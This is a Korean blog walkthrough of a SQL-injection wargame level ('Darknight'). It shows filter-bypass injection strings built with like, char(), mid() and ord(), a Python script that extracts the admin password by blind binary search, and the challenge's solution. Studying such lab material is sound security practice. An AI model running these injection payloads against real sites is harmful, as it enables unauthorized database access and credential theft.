본문 바로가기
WarGames/SQL Injection

Lord of SQL Injection : Darknight[12]

by madevth 2021. 12. 4.
반응형

[Level 12. Darknight] Sol → ?pw=0b70ea1f

작은따옴표('), 등호(=), substr와 ascii를 사용하지 못하는데 admin의 pw를 정확히 맞추어야 한다.

그래서 우리는 다음 3가지 문제를 해결해야 한다.

Q1) 작은따옴표(')와 등호(=)를 사용할 수 없는데 id = 'admin'을 어떻게 쓸까?

Q2) substr를 사용할 수 없는데 substring(pw, n, 1)을 어떻게 쓸까?

Q3) ascii를 사용할 수 없는데 ascii(substring(pw, n, 1)) > m을 어떻게 쓸까?

 

A1) like와 char를 사용해서 작은따옴표 없이 비교하자.

아스키코드로 a ~ z는 97 ~ 122에 해당한다. 따라서 char(97)은 a에 해당한다.

char(97) = a
ascii(a) = 97

char(97, 100, 109, 105, 110) = admin

 

 

?no=1 or id like char(97, 100, 109, 105, 110) and length(pw) > 1 %23

Hello admin이 잘 뜬 것을 확인할 수 있다.

 

A2) substring 대신 mid 함수를 사용하자.

MySQL에서 부분 문자열과 관련된 함수는 substring 외에도 존재한다.

Left(str, n) : str에서 인덱스 n까지
Mid(str, n, m) : str에서 인덱스 n부터 m까지
Right(str, m) : str에서 인덱스 len(str) - m + 1부터 끝까지
// 인덱스는 1부터 시작

mid는 기존에 사용했던 substring과 같은 기능을 가진다.

 

A3) ascii 대신 ord 함수를 사용하자.

아스키 관련된 함수에는 ascii, ord, char 등이 있다.

Def : The ord() function returns the ASCII value of the first character of a string.

우리는 알파벳을 한 글자씩 추출할 것이기 때문에 이 경우에는 ascii와 사용법이 같다고 생각할 수 있다.

 

이제 자동화 코드로 비밀번호를 추출해보자.

import requests

url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
cookie = {'PHPSESSID': 'cookies'}

def find_length():
    pwlength = 1

    while True:
        param = {"no": "1 or id like char(97, 100, 109, 105, 110) and length(pw) like {} #".format(pwlength)}
        req = requests.get(url, params = param, cookies = cookie)
        if "Hello admin" in req.text:
            return pwlength
        else:
            pwlength += 1

def find_pw():
    length = find_length()
    print("비밀번호 길이: ", length)
    password = ""
    for i in range(length):
        s = 1
        e = 127
        value = 64
        while True:
            param = {"no": "1 or id like char(97, 100, 109, 105, 110) and ord(mid(pw, {}, 1)) like {} #".format(i+1, value)}
            print(param)
            req = requests.get(url, params = param, cookies = cookie)
            if "Hello admin" in req.text:
                password += chr(value)
                break
            else:
                param = {"no": "1 or id like char(97, 100, 109, 105, 110) and ord(mid(pw, {}, 1)) > {} #".format(i+1, value)}
                req = requests.get(url, params = param, cookies = cookie)
                if "Hello admin" in req.text:
                    s = value
                    value = (value + e) // 2
                else:
                    e = value
                    value = (s + value) // 2
    print("비밀번호는: ", password)

find_pw()

반응형

댓글